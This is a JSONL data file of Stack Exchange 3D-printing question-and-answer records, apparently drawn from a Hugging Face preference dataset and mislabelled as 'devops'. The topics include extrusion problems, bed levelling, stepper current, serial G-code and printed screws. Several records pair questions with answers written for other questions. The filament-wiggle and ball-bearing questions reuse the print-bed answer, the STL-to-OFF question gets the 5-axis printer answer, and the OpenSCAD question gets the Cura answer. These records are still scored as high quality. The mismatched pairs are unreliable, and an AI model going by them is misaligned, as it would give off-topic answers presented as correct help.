{"id": "hf_721eedd59644", "question": "<p>Are there any 3D printing services or something similar to 3D print or injection mold light reflectors? </p>\n\n<p>I'm trying to find something that is similar to PCB printing that allows you to upload a 3D design of a reflector and they will produce this reflector and coat it with mirror surface.</p>\n", "question_body": "", "answer": "I would not recommend extrusion printers for this, because they are unlikely to produce a smooth enough surface.  To get a clean surface, the irregularities have to be a fraction of visible wavelengths, which is to say on the order of 0.01 micron.\nWithout knowing what sort of reflector you're thinking of (flat? spherical? parabolic?), it's hard to recommend a specific optimal, cheap approach.  All in all, you're probably best off looking in standard catalogs such as Edmund Optics.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.432858"}
{"id": "hf_51961362a86a", "question": "<p>I'm a novice in 3D printing. I have a <a href=\"https://en.wikipedia.org/wiki/Aleph_Objects#LulzBot\" rel=\"noreferrer\">Lulzbot Kittaz 3D printer</a> with a hexagonal hot end of 0.35&nbsp;mm. I have printed a test subject, and while I was printing I encountered this extrusion problem. I'm using ABS with 230&nbsp;°C hot end temperature and 85&nbsp;°C bed temperature. What kind of problem is this and how should I rectify it?</p>\n\n<p>I took this photo when the printer printed the first layer:</p>\n\n<p><a href=\"https://i.stack.imgur.com/HtTv4.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/HtTv4.jpg\" alt=\"First layer of print\"></a></p>\n", "question_body": "", "answer": "It looks like you are not extruding at the correct rate. I would check your slicer settings for nozzle and filament size. Also check and calibrate for your filament diameter.\nIt looks like you could be getting better adhesion too. Lulzbot recommends a 110C bed temperature. That might help. (lulzbot.com/store/filament/abs under specifications)\nThese are some good resources to troubleshoot prints,\nRepRap\nAll3DP\nSimplify3D", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.468576"}
{"id": "hf_a6dde8a8d971", "question": "<p>I had my printer printing fine when using the stock trigger switch as I used it to print the green bracket you see in the picture. </p>\n\n<p><a href=\"https://i.stack.imgur.com/6kxYw.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/6kxYw.jpg\" alt=\"Photo of probe atached to hotend\"></a></p>\n\n<p>My problem now is when I do a print with the sensor, it moves to 0,0 position. However in this position the sensor is hanging off the bed hence there is nothing for it detect so it crashes into the bed.</p>\n\n<p>As far as I can tell the nozzle is homing in the right place.</p>\n\n<p>How do I tell Marlin the new minimum position it needs to be in so it doesn't crash into the bed?</p>\n", "question_body": "", "answer": "There are at least 2 options to address the problem that you have:\nAdjust end-stops so that in 0,0 position Z-sensor would still hang above the printing table. This would reduce printing surface but allow perfect calibration\nMount extra metal plate at the table mount where it would not bump into printer parts and remain reachable for the sensor (perhaps with sensor relocation) when positioned at 0,0. This option requires extra space within table movement boundaries but saves printing surface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.529525"}
{"id": "hf_fb5b3c3e7df8", "question": "<p>We all know (or should!) that the repeatability of common spring-arm limit switches is crappy at best.  I'm looking to build &amp; install one of the precision height adjusters for the Z-axis limit switch, and noticed a post on some forum suggesting removing the arm and triggering the switch button directly (e.g. with a screw end).</p>\n<p>Has anyone tried this, and if so has the repeatability of Z-homing improved any?</p>\n<h2>Edit</h2>\n<p>Sorry -- this is a stock Prusa i3, which depends on physical contact between the vertically-moving subassembly and a microswitch mounted on the frame.</p>\n", "question_body": "", "answer": "No. Buy a better switch if it's an issue (see below).\nYou would need to have some very tight tolerances to hit that micro button with whatever your arm is. If you had a machine with good tolerances you would not be considering this modification. That alone is why I would say this is not the greatest idea.\nFollowing it might work if your Z is connected to the hot end and smashing into the bed. But I suspect you will still have a myriad of issues, such as the switch getting out of position enough to cause the head to crash into the machine. The real question now is how many rotations of the Z axis could happen if the printer is moving at maximum speed and the button is pressed? That metal arm is your grace period. Now your printer is potentially smashing into the switch.\nLastly, just get a switch with a more solid and less springy metal tab.\nThe real question is whether there is actually a variance caused by the metal arm? I would suspect that it hits the switch very precisely, consistently and within an acceptable tolerance. Removing the arm will buy you little. Replacing it with a stiffer-arm switch might serve you better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.554485"}
{"id": "hf_d131ffaf45d0", "question": "<p>I finally manage to setup the ABL on my Prusa.\nI run G28 to home all axes (for z I use the same probe used for ABL). Then\nI run G29 E ( I use E because otherwise for some reason I have not understood yet, Z does not lift during probings) probing 4 points on the corners of the bed.</p>\n\n<p>finally I get the map of the bed:</p>\n\n<pre><code>Bed Level Correction Matrix:\n+0.999999 +0.000000 +0.001233\n-0.000005 +0.999992 +0.003905\n-0.001233 -0.003905 +0.999992\n</code></pre>\n\n<p>and after that, the print starts.\nThe first layer looks perfect however I have not seen Z moving a single step along the printing.</p>\n\n<p>Any hint about what to check? Is the obtained map indicating that the bed is already too leveled to act on any compensation?</p>\n\n<p><strong>UPDATE</strong>\nI printed a 180 mm diamater cylinder and the Z axis is not compensating the 1mm difference from edge to edge of the bed.</p>\n", "question_body": "", "answer": "I believe that the matrix is shown transposed from how it should be, but that doesn't affect the answer. The compensated Z position is derived from the original\n```\n(X,Y,Z)\n```\nposition by multiplying the corresponding vector with that matrix. This means that the new Z position would be\n```\n```\nZ' = 0.999992Z - 0.001233X - 0.003905Y\n```\n```\nIf you have a 200 x 200 printbed, a diagonal move from one corner to the other would correspond to a 1mm change in Z-height. This should be noticeable, but if perhaps you're printing something quite small you might not notice it.\nThough, if your first layer is perfect, I would see no reason to mess with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.578873"}
{"id": "hf_20a4af74b405", "question": "<p>When 3D-printing on an 20*20cm, I've heard that the quality of the printings get worse if I fill out the board... Is it true? Should I keep it to small amounts at the time or doesn't it matter?</p>\n", "question_body": "", "answer": "No, that's not (entirely) true. There might be some loss of quality if you print multiple objects at once, because when the printhead \"hops\" from one object to another it might leave a mark or ooze out some material. Also, a large number of retractions in a short period of time might lead to inconsistent extrusion.\nHowever, none of this is particular to \"filling out the board\" as it happens even if you print only two objects at a time (or even when you're printing only one object with multiple islands).\nIt all depends on your printer (and in particular how well it handles retractions). If you're willing to do a small amount of cleanup afterwards (to remove the strings and blobs) then printing multiple objects at a time is completely viable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.602622"}
{"id": "hf_89047ba1dc1b", "question": "<p>I cleaned up my Flashforge Creator Dual tonight, and loaded some transparent ABS prepping for a print.  The filament extruded fine, then started to wiggle, then became fine again.  Hot end is 0.4 mm and was heated to 230C.  What sort of steps should I take to troubleshoot the issue?  Has anyone seen this before?</p>\n\n<p><a href=\"https://i.stack.imgur.com/ffssj.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ffssj.jpg\" alt=\"Photo of extruded filament exhibiting wiggles\"></a></p>\n", "question_body": "", "answer": "No, that's not (entirely) true. There might be some loss of quality if you print multiple objects at once, because when the printhead \"hops\" from one object to another it might leave a mark or ooze out some material. Also, a large number of retractions in a short period of time might lead to inconsistent extrusion.\nHowever, none of this is particular to \"filling out the board\" as it happens even if you print only two objects at a time (or even when you're printing only one object with multiple islands).\nIt all depends on your printer (and in particular how well it handles retractions). If you're willing to do a small amount of cleanup afterwards (to remove the strings and blobs) then printing multiple objects at a time is completely viable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.627456"}
{"id": "hf_a61d47ff74c8", "question": "<p>I've recently designed a non-self-aligning caged deep-groove ball bearing. Now I'd love to get one 3D printed.</p>\n\n<p>However, assembling those can be tricky and I highly doubt it's even plausible to print them. All the components themselves can be printed without a problem, but I'm not sure whether I'll be able to put them all together in the end.</p>\n\n<p>What are my options?</p>\n\n<p>FDM printers are probably out, although it would be great if I can find a way to use those. Would an SLA or perhaps an SLS printer be able to pull it off?</p>\n\n<p>Of course the thing still has to work (move) in the end.</p>\n\n<p><a href=\"https://i.stack.imgur.com/OuWFEm.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OuWFEm.jpg\" alt=\"Caged deep-grooved ball bearing - MatVis\"></a></p>\n", "question_body": "", "answer": "No, that's not (entirely) true. There might be some loss of quality if you print multiple objects at once, because when the printhead \"hops\" from one object to another it might leave a mark or ooze out some material. Also, a large number of retractions in a short period of time might lead to inconsistent extrusion.\nHowever, none of this is particular to \"filling out the board\" as it happens even if you print only two objects at a time (or even when you're printing only one object with multiple islands).\nIt all depends on your printer (and in particular how well it handles retractions). If you're willing to do a small amount of cleanup afterwards (to remove the strings and blobs) then printing multiple objects at a time is completely viable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.652379"}
{"id": "hf_8da858c97682", "question": "<p>I've actually solved this, but I think its still a useful question which I don't think is easy to answer with existing questions.</p>\n\n<p>As soon as I'd built my ANET-A8 (Prusa i3 DIY kit), I found I was having problems with the extruder crashing into the bed. Although I thought I'd adjusted the bed leveling OK, the calibration seemed to keep getting messed up.</p>\n\n<p>I tracked this down to two factors. First, I was winding the extruder head up some distance before loading the filament and starting a print. Second, at roughly half-way up the axis, the right-hand thread seemed to be getting stuck (more often when moving up than down).</p>\n\n<p>What wasn't clear (and not mentioned in the building instructions) was what might cause this problem.</p>\n", "question_body": "", "answer": "I assume you did everything according to the instructions but here is a checklist of what could be possibly wrong:\nFriction - check if you can rotate/move parts without lot of resistance\nScrews - check if screws on couplings are tight and they don't slide over a shaft or thread\nStepsticks - check if they are cooled properly and similar (as there are two of them)\nCarriage nuts on threads - check if they do not slide out of their nests while [the x-axis] carriage goes up\nFilament - check if filament unrolls without resistance which can eventually cause [the x-axis] carriage to hang.\nIMO #2 and #3 are the most possible cause", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.677147"}
{"id": "hf_3aabb898c779", "question": "<p><a href=\"http://www.5axismaker.com/5axis/\" rel=\"nofollow noreferrer\">5AxisMaker</a> has a 5 axis CNC/3D printer combo machine.  I understand what the benefits of 5 axis are for CNC machines, but are there any benefits for 3D printing.  In this <a href=\"https://youtu.be/w8Fl8L4yk8M\" rel=\"nofollow noreferrer\">video</a> they show the printer printing on an angle, but this could have been done with just linear layers.</p>\n\n<p>Would there be any cases where a 5 axis printer would preform better than a 3 axis printer?</p>\n", "question_body": "", "answer": "One aspect of having this level of control with 3d printing of a model is the removal of the need for supports and the attendant post-processing. In the case of the model shown in the video, some effects are created by printing the continents in a conformal manner that would otherwise be impossible with conventional 3d printing. Cosmetically, the results of the \"5d\" printer are superior in this example.\nThere would also be some structural benefit for models with high organic content, that is curves and bulges, as opposed to orthogonal designs. Even with orthogonal designs, one can achieve stronger parts with cross-layered plastic in all directions, rather than being limited by x and y filament layers.\nI see on the web site that one can exchange tool heads as well. One could print a 3d model, layering the filament on all the surfaces, then use a tool head change to a milling bit and smooth the surface under CAD control.  Alternatively, one could use foam or wood and mill a model shape to be covered with a 3d printed material.\nConsidering the relative novelty of this product, it's likely that many aspects of the creative utility have yet to be discovered!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.705641"}
{"id": "hf_c171ceb3eb86", "question": "<p>I want to skeletize the surface mesh. For that I need to export .STL from Solidworks and then convert that into .OFF file to be able to use it in CGAL library for skeletonzation. How can I do this?</p>\n", "question_body": "", "answer": "One aspect of having this level of control with 3d printing of a model is the removal of the need for supports and the attendant post-processing. In the case of the model shown in the video, some effects are created by printing the continents in a conformal manner that would otherwise be impossible with conventional 3d printing. Cosmetically, the results of the \"5d\" printer are superior in this example.\nThere would also be some structural benefit for models with high organic content, that is curves and bulges, as opposed to orthogonal designs. Even with orthogonal designs, one can achieve stronger parts with cross-layered plastic in all directions, rather than being limited by x and y filament layers.\nI see on the web site that one can exchange tool heads as well. One could print a 3d model, layering the filament on all the surfaces, then use a tool head change to a milling bit and smooth the surface under CAD control.  Alternatively, one could use foam or wood and mill a model shape to be covered with a 3d printed material.\nConsidering the relative novelty of this product, it's likely that many aspects of the creative utility have yet to be discovered!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.729658"}
{"id": "hf_b3c75e964df3", "question": "<p>I've recently bought a 3D printer and waiting for it to be delivered I've given quite a lot of time to looking things up on Thingiverse. I see people create incredible models with gears, screws, lids and a lot of very cool and functional connectors (there are some project for boxes with an iris tipe lid that can be printed already assembled as a single model). I'd like to learn to do some of that as well. At the moment I have some proficiency with Blender where I can navigate the interface and sketch up some simple shaped model without any of the functional parts described above. My question therefore is:</p>\n<p>Are there any tutorials that could help me create better models? If I need to I'm ready to learn to use a software other than Blender. I've tried searching for a similar question but found nothing.</p>\n", "question_body": "", "answer": "The answer to your question is yes, there are tutorials to help you create better models. Unfortunately, the back-story to the answer is beyond the scope of StackExchange.\nDon't limit yourself to Blender, especially if you are attempting to create non-organic (engineering-type) models. Blender is great for curves and bulges and bumps (and animation, and so much else) but not so great for parametric modeling. Meshmixer is a useful program, but more organic than engineering.\nConsider to search for OpenSCAD, Fusion 360, TinkerCAD, but also use terms such as \"parametric 3d modeling software\" to find a wider range of solutions to your quest.  The above programs are free, there are too many paid programs to list even a small number.\nOh, yeah, stay away from SketchUp for any 3d print modeling. So many failure modes result from models created with that program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.765280"}
{"id": "hf_34a27e1460b3", "question": "<p>I am completely new to 3D printing. I need to build a calibration plate, which I was told can be built using  vero back plastic and a 3d printer. But I am afraid I need to know more if I give this to someone for fabrication. In particular, I am wondering how to get the white dots on the surfaces. My question is probably ill-posed, but I am trying to get as much info as I can before I consult any 3d printing vendors. Thanks</p>\n\n<p><a href=\"https://i.stack.imgur.com/32GtS.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/32GtS.jpg\" alt=\"Calibration plate\"></a></p>\n", "question_body": "", "answer": "The photo is too small to be clear about the entire objective and there are no dimensions provided. A quick google search returns nothing 3d printer related to \"black vera plastics\" other than a reference to vera bradley, vera wang and an obscure reference to a woven black carpet with white spots of increasing size.\nEven within those limitations, one can certainly print a strip of black with white dots. One method involves a dual extruder printer, enabling two colors to be printed, one layer at a time. The black layer would be extruded with suitable holes and the white layer would be place within those holes.\nAnother method involves printing the black layer with holes, swapping out the filament with white and creating white plugs of appropriate sizes for the necessary fit.\nYou've used the term calibration plate, which implies some level of precision. Is the precision related to spacing, dot size, dot color, or a combination of the above?\nSuch requirements may make the cost slightly higher, but not excessively. I can print up to to 290 mm long strip, possibly longer by going diagonal on my 290 mm print bed, with or without the two colors done simultaneously.\nIf you require crisp edges to the white/black transition, the holes-and-plugs method will give best results and require a bit of post processing. It may be necessary to ream the holes to correct diameter and sand the plugs to fit. Dual extrusion rarely provides sharp delineation from one color to the next.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.826213"}
{"id": "hf_86f50e3b340f", "question": "<p>Should it be possible to directly send G-code to the printer serial connection using pipes under Linux?</p>\n\n<p>Example:</p>\n\n<pre><code>echo M106 &gt; /dev/ttyUSB0\n</code></pre>\n\n<p>My controller runs at 250000 baud, I have tried setting the TTY baud rate to 250 kBd with: </p>\n\n<pre><code>stty -F /dev/ttyUSB0 250000\n</code></pre>\n\n<p>But, unfortunately, this particular baud rate appears to be unsupported under Ubuntu, giving the error: </p>\n\n<pre><code>stty: invalid argument ‘250000’\n</code></pre>\n", "question_body": "", "answer": "This forum page\nstrongly suggests you should be using\n```\nsetserial\n```\nfor a port, not\n```\nstty\n```\n, which is for terminals.  I'd give the code snippets there a try.\nAlternatively,\nstackoverflow\nhas a similar discussion, with somewhat more complicated modifications.\nAre you sure you can't talk with your printer at a lower baud rate than the maximum capability of the printer-end?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.862431"}
{"id": "hf_b4995d12d533", "question": "<p>Is it possible to 3D print an axial turbine 2 - 4 inches (50 - 100 mm) in radius, capable withstanding temperatures about 800 - 1000°C and rotation speeds of 100 - 120 x 10<sup>3</sup> rpm?</p>\n\n<p>How expensive is that? Is it cheaper to mill such a turbine from a whole piece of alloy?</p>\n\n<p>What technologies and materials should be used?</p>\n\n<p>Are Inconel alloys suitable for 3D printing?</p>\n\n<p>Are there any titanium alloys suitable for this task? I've read titanium is rarely used in rapidly rotating parts due to its ability to ignite if mechanical failure occurs and rotating blades touch the casing. Do titanium alloys still have this drawback? </p>\n\n<p>Is it possible to make disk of titanium and blades of Inconel, and have them welded (considering heat expansion)?</p>\n\n<p>How blades or blisks can be ceramically coated?</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "This depends primarily on economics and on desired lifetime.  Rather obviously you need a material whose strengths and melting points exceed the operational specs.  Determining the various break strengths (shear, bending, etc) is an engineering problem, not a manufacturing problem per se.\nNext, consider the production time and cost of 3D-printing vs. some typical assembly line process.  Nearly always the 3D approach loses for large quantity builds.\nDesigning and operating devices like this can be extremely dangerous. Very tight tolerances are required.\nThis site\ndescribes the difficulties, starting with material choice, moving on to tolerances, and so on.  I don't think you want to go at this in your basement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.901382"}
{"id": "hf_8d38b925f590", "question": "<p>I bought a self-made Reprap Prusa Mendel 3 printer, modified to be built from cheaper materials, and immediately after the deal I got various problems. I fixed the majority of them, but don't know what the reason of the strange extruder behavior is: The stepper motor is not rotating while extruding filament, it's moving back and forth with small steps instead. I made some footage, <a href=\"https://www.youtube.com/watch?v=OcF9qxtxIO0\" rel=\"nofollow noreferrer\">Reprap Prusa Mendel 3d printer extruder problem</a>, hoping that someone has met a similar problem before.</p>\n\n<p>If so, please tell me what to do to make it work as it should.</p>\n\n<p>The obvious option while encountering this problem was to slacken the bolt which holds this parts together (in the left bottom corner of the video), but that did not help.</p>\n\n<p>Any ideas are very welcomed. Thanks for your time. I hope this is an appropriate kind of question here.</p>\n", "question_body": "", "answer": "Your controller board probably requires calibration.\nIt sounds like, maybe, the extruder's stepper motor is\nnot receiving sufficient\ncurrent, to make it turn.\nOr\n, somewhat confusingly, maybe the stepper is\nreceiving too much current\n, and overheating.\nYou don't say which controller board you are using, but regardless, there should be an adjustable potentiometer on the board, next to each of the stepper drivers, or on the stepper driver daughter boards.  Like so,\nThis potentiomenter adjusts the\nreference voltage\nused to control the stepper motor. From this\nreference voltage\n, and the resistance of the stepper coils, one can determine the current, which is used to drive the stepper motor.\nFor the stepper driver of the extruder, you could try turning this adjustable potentiometer slightly, in order to provide more current to the stepper, in turn to provide\nsufficient torque\nsuch that the motor is able to turn.\nOr\n, less current to stop the stepper from overheating.\nThe adjustments\ncan\nbe made whilst the power is on, but a\nnon-ferrous\n(i..e. plastic) screw driver should be used, so as to avoid short circuits. Also care needs to be taken, when turning the potentiometer, as they have been known to just fall apart whilst being turned. If you are paranoid, then make micro adjustments with the power turned off, and then turn back on to check the behaviour.\nNote\n: it should go without saying that one should\nnever disconnect a stepper whilst the power is on\n, as both the driver and the stepper motor may be irrevocably damaged.\nThe photo above is taken from\nPOTs Calibration – RAMPS 1.4\n.\nIf a POT is set too high then the associated stepper driver will tend to overheat and go into over-temperature thermal shutdown (to prevent damage to its components). The first sign of overheating is erratic stepper motor behavior. Typically, this can be recognized by the sounds of the stepper motor suddenly losing power (thermal shutdown). If no load or movement is required of the motor, it is hard to detect whether it is over-powered as the driver is barely producing any heat.\nand\nConversely, if the POT is set too low, the stepper motor can enter an underpowered state. This can be recognized by a lack of holding torque and a stepper motor that is skipping steps because the necessary movement  requires a higher power demand than the POT setting allows for.\nDriver cooling\nIn addition to the possibility of the stepper motor over heating, it could be possible that the stepper driver is overheating, although the symptoms may be different, to those that you are experiencing. Regardless, you may still find it advantageous to cooler the controller/driver board with a fan that is always on (not temperature controlled).\nAdditional reading\nRigidWiki -\nStepper Driver Adjustment\n, which goes into further detail about the adjustment of the potentiometers, that I outlined above, as well as the\nreference voltage\nand the adjustment thereof.\nRepRap Wiki -\nRepRapPro Setting Motor Currents\ndescribes a different controller to yours, but goes into the process of adjustment, and description of the\nreference voltage\n(which is applicable to all boards):\nThe wiper on each potentiometer generates a DC voltage that is sent to the chip. This is the reference voltage; it defines how much current the stepping motor driver chip supplies to the motor. The bigger the reference voltage (VREF), the higher the current (A) that the chip will send to the motor. For most NEMA14 motors, the current maximum is 1A, but this will generally cause it to get warm, so a setting of 750mA is recommended. For NEMA17 motors, depending on size, the limit on current is generally between 1.3A and 1.7A. If you drive stepper motors with more current than they were designed for, the motor will get hot, and may be damaged.\nPololu -\nA4988 Stepper Motor Driver Carrier with Voltage Regulators\n- this is a very common stepper driver.\nMyHomeFab -\nDRV8825 Adjust Stepper Current\ngoes into the adjustment of the reference voltage, for the commonly used DRV8825, which is an alternative to the popular A4988.\nThis thread, about non-actuating steppers, may also be useful,\nMotors\n, which mentions\nsetting the trimpots\nand points the OP to RepRap Wiki -\nPololu stepper driver board\n, which, in turn, refers to this thread,\nStrange stepper behavior\nand this video,\nvideo-2012-02-02-16-37-26.mp4\n, which describes a jitter in the stepper behaviour.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.946580"}
{"id": "hf_0bfc836e8389", "question": "<p>I am using an M3D printer and loaded an STL design with holes in the middle:</p>\n\n<p><a href=\"https://i.stack.imgur.com/UMD0V.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UMD0V.jpg\" alt=\"Screenshot of STL design with holes in the middle\"></a></p>\n\n<p>However, the output is an object without holes (so I stopped the printing): </p>\n\n<p><a href=\"https://i.stack.imgur.com/RrlBC.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RrlBC.jpg\" alt=\"Photo of the first few layers of actual print, without holes\"></a></p>\n\n<p>What can be done to be able to print with holes?</p>\n", "question_body": "", "answer": "Case 1:\nThere may be an issue with the precision of the print nozzle, not being able to fully articulate the hole. That is to say, the printer is trying to print it with holes, but the material is filling in that area.\nTry increasing the size of the hole. Granted, it is not an exact process but there may be an inner hole diameter that winds up mimicking the diameter you're looking for after the material extrudes.\nThis case could be rejected by nature of the printer depositing straight lines through the center diameter of the cylinder's base.\nCase 2:\nThere may be some discrepancy between the file's appearance and the file's information.\nIf you downloaded the file from somewhere like ThingiVerse, try designing the part yourself if possible. If you designed it yourself, overwrite the file with a second version.\nCase 3:\nIf downloaded, verify that the center hole is extruded though the entire thickness of the part. It may be that it's extruded most of the way through and there is a sealed bottom layer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.972865"}
{"id": "hf_d29ec3487f6c", "question": "<p>Does anyone know where I can get a free 3D design (STEP or STL) of an M4 Screw and nut? I have found only an M3 on Thingiverse: <a href=\"http://www.thingiverse.com/thing:729842\" rel=\"nofollow noreferrer\">M3 Bolt</a> by <a href=\"http://www.thingiverse.com/Kaleta\" rel=\"nofollow noreferrer\">Kaleta</a>.</p>\n", "question_body": "", "answer": "The thing you linked to describes itself as being generated from a parametric model:\nhttp://www.thingiverse.com/apps/customizer/run?thing_id=193647\nTo generate any different bolt or nut, you will need to identify the correct dimensions for not only the thread (where hints exist in the customiser), but also for the hex head. These are obviously less critical to define than the thread.\nOnce you have generated a custom model, you can share it and answer your own question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:48.997118"}
{"id": "hf_4742237d1dc2", "question": "<p>I just want to ask if anyone has successfully printed a screw (M3 or M4). Is the printed output usable as a screw? What printer is capable of printing screws? I am using an M3D printer - is there a configuration to successfully print a screw that is usable?</p>\n\n<p>Can anyone share a picture of the best 3D printed screw?</p>\n", "question_body": "", "answer": "well... it's hard to imagine printing M3 or even M4\nI haven't try but I haven't because I'm pretty sure it's not possible (on my printer of course)\nbut some time ago I've tried M8 which is of course way from your needs\nit was printed on 0.1mm layer height\nit went ok into the nut without any problems but the strength is not very high I suppose\nI know the quality is poor but even such bad photo shows issues", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.021180"}
{"id": "hf_82d49e833194", "question": "<p>I have generated a few 3D prints in G-code using KISSlicer and Slic3r, but when I load them into Ultimaker Cura I'm unable to get anything. The number of layers says one but I cannot see anything and print option is not working. I have viewed these G-codes online and they are fine. I'm using a Lulzbot KITTAZ with v2 toolhead (hexagon) and I can print only using Ultimaker Cura. Please tell me what the reason for this is.</p>\n", "question_body": "", "answer": "Cura prior to version 2.5 does not take G-code as an input. I'm not sure what you mean by \"print only using Cura.\" Don't you have a SD slot on your control board? For that matter, why can't you drive the USB port from Slic3r?\nRemember: G-code is the equivalent of \"compiled code,\" the raw commands which drive the printer, while STL or OBJ, etc., are the \"source code,\" which you edit to get the shape you want.\nI've looked at a few apps which will render a 3D image on your computer from G-code, but I don't know off-hand of one which will \"decompile\" into a STL or mesh file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.067747"}
{"id": "hf_d19410330427", "question": "<p>What resources or methods would OpenSCAD users suggest to piece together disparate STL files?</p>\n\n<p>I'd like to take an existing STL model-library of STL parts (head, torso, arms, legs) and make it a Thingiverse OpenSTL maker, similar to the castle generator and/or the puzzle generators available.</p>\n\n<p>This way, users can generate a custom model using the designated parameters and download the model for printing.</p>\n", "question_body": "", "answer": "Cura prior to version 2.5 does not take G-code as an input. I'm not sure what you mean by \"print only using Cura.\" Don't you have a SD slot on your control board? For that matter, why can't you drive the USB port from Slic3r?\nRemember: G-code is the equivalent of \"compiled code,\" the raw commands which drive the printer, while STL or OBJ, etc., are the \"source code,\" which you edit to get the shape you want.\nI've looked at a few apps which will render a 3D image on your computer from G-code, but I don't know off-hand of one which will \"decompile\" into a STL or mesh file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.089588"}
